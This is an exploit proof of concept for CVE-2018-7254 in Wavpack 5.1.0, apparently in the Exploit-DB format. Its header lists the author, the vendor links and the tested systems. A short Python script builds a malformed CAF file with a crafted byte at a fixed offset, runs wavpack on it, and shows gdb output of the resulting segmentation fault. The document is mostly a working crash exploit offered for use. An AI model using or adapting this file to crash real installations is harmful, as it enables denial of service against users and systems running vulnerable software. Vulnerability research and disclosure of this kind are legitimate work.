# Exploit title: Wavpack 5.1.0 - Denial of Service
# Date: 20.02.2018
# Exploit Author: r4xis
# https://github.com/r4xis
#
# Vendor Homepage:  http://www.wavpack.com/
# Software Links:   http://www.wavpack.com/downloads.html
#                   https://github.com/dbry/WavPack
#
#
# Version: Wavpack 5.1.0
# Tested on:    Debian 9.3.0 64 bit
#               Windows 7 32 bit and 64 bit
#               Windows 8 64 bit
#
#
# CVE: CVE-2018-7254
# CVE Details:
# https://nvd.nist.gov/vuln/detail/CVE-2018-7254
# https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889274
# https://github.com/dbry/WavPack/issues/26
 
 
import os
 
head = "\x63\x61\x66\x66"
version = "\x00\x01"
junk1 = "\x00"*(0xa0-6)
crash = "\x80"
junk2 = "\x00"*100
 
f=open("poc.caf", 'w')
f.write(head+version+junk1+crash+junk2)
f.close()
 
os.system("wavpack poc.caf")
 
'''
Debian gdb output:
Program received signal SIGSEGV, Segmentation fault.
__memmove_sse2_unaligned_erms ()
    at ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S:333
333 ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
'''